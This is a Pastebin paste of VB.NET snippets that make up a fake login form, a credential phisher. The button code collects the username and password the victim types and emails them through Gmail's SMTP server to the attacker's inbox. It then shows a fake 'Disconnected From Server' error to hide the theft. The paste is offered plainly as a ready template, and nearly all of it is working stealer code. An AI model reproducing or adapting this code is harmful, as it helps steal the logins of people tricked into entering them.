Advertisement
Guest User

Untitled

a guest
Jun 11th, 2017
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.97 KB | None | 0 0
  1. Hyper Link:
  2. Process.Start("Url Here")
  3. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  4.  
  5. Top Of All:
  6. Imports System.Net.Mail
  7.  
  8. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  9. Button Code:
  10. If TextBox1.Text = "" Then
  11. MsgBox("Username Is Missing")
  12. If Textbox2.text = "" Then
  13. Msgbox("Password Is Mising")
  14. Else
  15. End If
  16. End if
  17. Dim smtpServer As New SmtpClient()
  18. Dim mail As New MailMessage()
  19. smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
  20. smtpServer.Port = 587
  21. smtpServer.Host = "smtp.gmail.com"
  22. smtpServer.EnableSsl = True
  23. mail = New MailMessage()
  24. mail.From = New MailAddress("Your Gmail")
  25. mail.To.Add("Your Gmail")
  26. mail.Subject = "Username: " & TextBox1.Text
  27. mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
  28. smtpServer.Send(mail)
  29. MsgBox("DIsconnected From Server, Please try again later!")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement